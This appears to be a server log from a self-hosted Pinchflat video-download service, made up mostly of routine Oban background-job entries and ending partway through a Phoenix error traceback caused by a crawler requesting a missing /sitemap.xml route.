{"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:21:07.039 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:37.041 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.421 [info] {"source":"oban","duration":679,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:22:07.044 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:37.046 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.423 [info] {"source":"oban","duration":779,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:23:07.048 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:37.053 [info] {"source":"oban","duration":2938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.425 [info] {"source":"oban","duration":454,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:24:07.055 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:37.057 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.426 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:25:07.059 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:37.061 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.427 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:26:07.063 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:37.065 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.429 [info] {"source":"oban","duration":846,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:27:07.067 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:37.069 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.430 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:28:07.072 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:37.075 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.431 [info] {"source":"oban","duration":638,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:29:07.077 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:37.079 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.432 [info] {"source":"oban","duration":504,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:30:07.082 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:37.085 [info] {"source":"oban","duration":2321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.433 [info] {"source":"oban","duration":487,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:31:07.087 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:37.089 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.435 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:32:07.091 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:37.093 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.436 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:33:07.102 [info] {"source":"oban","duration":6831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:37.104 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.437 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:34:07.107 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:37.110 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.439 [info] {"source":"oban","duration":1633,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:35:07.112 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:37.114 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.441 [info] {"source":"oban","duration":1305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:36:07.116 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:37.118 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.442 [info] {"source":"oban","duration":600,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:37:07.120 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:37.122 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.443 [info] {"source":"oban","duration":619,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:38:07.127 [info] {"source":"oban","duration":3819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:37.132 [info] {"source":"oban","duration":2836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.445 [info] {"source":"oban","duration":542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:39:07.134 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:37.138 [info] {"source":"oban","duration":3512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.447 [info] {"source":"oban","duration":1101,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:40:07.140 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:15.985 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:40:37.142 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.449 [info] {"source":"oban","duration":1024,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:41:07.144 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:37.147 [info] {"source":"oban","duration":2414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.452 [info] {"source":"oban","duration":863,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:42:07.150 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:37.152 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.453 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:43:07.154 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:37.158 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.455 [info] {"source":"oban","duration":1142,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:44:07.160 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:37.163 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.456 [info] {"source":"oban","duration":630,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:45:07.168 [info] {"source":"oban","duration":2913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:37.171 [info] {"source":"oban","duration":2166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.458 [info] {"source":"oban","duration":821,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:46:07.175 [info] {"source":"oban","duration":2443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:37.177 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.459 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:47:07.181 [info] {"source":"oban","duration":3472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:37.183 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.460 [info] {"source":"oban","duration":436,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:48:07.186 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:37.189 [info] {"source":"oban","duration":2499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.461 [info] {"source":"oban","duration":472,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:49:07.192 [info] {"source":"oban","duration":2304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:37.195 [info] {"source":"oban","duration":2347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.463 [info] {"source":"oban","duration":686,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:50:07.197 [info] {"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:37.200 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.464 [info] {"source":"oban","duration":578,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:51:07.202 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:37.205 [info] {"source":"oban","duration":2164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.466 [info] {"source":"oban","duration":960,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:52:07.208 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:37.210 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.467 [info] {"source":"oban","duration":816,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:53:07.212 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:37.215 [info] {"source":"oban","duration":2190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.470 [info] {"source":"oban","duration":793,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:54:07.218 [info] {"source":"oban","duration":2236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:37.220 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.471 [info] {"source":"oban","duration":801,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:55:07.223 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:37.226 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.474 [info] {"source":"oban","duration":1106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:56:07.232 [info] {"source":"oban","duration":4177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:37.234 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.476 [info] {"source":"oban","duration":888,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:57:07.238 [info] {"source":"oban","duration":3485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:37.240 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.478 [info] {"source":"oban","duration":860,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:58:07.244 [info] {"source":"oban","duration":2501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:37.246 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.479 [info] {"source":"oban","duration":373,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:59:07.248 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:37.253 [info] {"source":"oban","duration":3134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.480 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:00:07.256 [info] {"source":"oban","duration":2759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:37.259 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.481 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:01:07.262 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:37.265 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.482 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:02:07.267 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:37.269 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.483 [info] {"source":"oban","duration":506,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:03:07.272 [info] {"source":"oban","duration":2662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:37.275 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.484 [info] {"source":"oban","duration":470,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:04:07.279 [info] {"source":"oban","duration":3150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:37.284 [info] {"source":"oban","duration":3288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.485 [info] {"source":"oban","duration":749,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:07.287 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:37.289 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.488 [info] {"source":"oban","duration":1635,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:06:07.293 [info] {"source":"oban","duration":2044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:37.297 [info] {"source":"oban","duration":2973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.489 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:07.299 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:37.301 [info] {"source":"oban","duration":1821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.490 [info] {"source":"oban","duration":729,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:07.304 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:37.306 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.492 [info] {"source":"oban","duration":485,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:07.308 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:37.311 [info] {"source":"oban","duration":1845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.493 [info] {"source":"oban","duration":495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:07.314 [info] {"source":"oban","duration":2592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:37.316 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.494 [info] {"source":"oban","duration":779,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:07.319 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:16.167 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:11:37.322 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.496 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:07.324 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:37.326 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.497 [info] {"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:07.329 [info] {"source":"oban","duration":2548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:37.332 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.498 [info] {"source":"oban","duration":503,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:07.336 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:37.339 [info] {"source":"oban","duration":2483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.500 [info] {"source":"oban","duration":1442,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:07.341 [info] {"source":"oban","duration":1825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:37.344 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.502 [info] {"source":"oban","duration":1464,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:07.347 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:37.349 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.506 [info] {"source":"oban","duration":2901,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:07.352 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:37.355 [info] {"source":"oban","duration":2592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.507 [info] {"source":"oban","duration":646,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:07.358 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:37.361 [info] {"source":"oban","duration":2368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.510 [info] {"source":"oban","duration":955,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:07.365 [info] {"source":"oban","duration":1968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:37.368 [info] {"source":"oban","duration":2541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.512 [info] {"source":"oban","duration":1504,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:07.371 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:14.005 [info] GET /sitemap.xml 17:20:14.090 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1491.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:14.091 [debug] QUERY OK source="settings" db=0.9ms idle=1492.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:14.091 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:20:14.092 [error] #PID<0.1265824.0> running PinchflatWeb.Endpoint (connection #PID<0.1265821.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1265821.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 46650}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1265824.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKfLNr558qLSU0wADcox"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1265821.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 46650}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1265821.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 46650}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1265824.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ 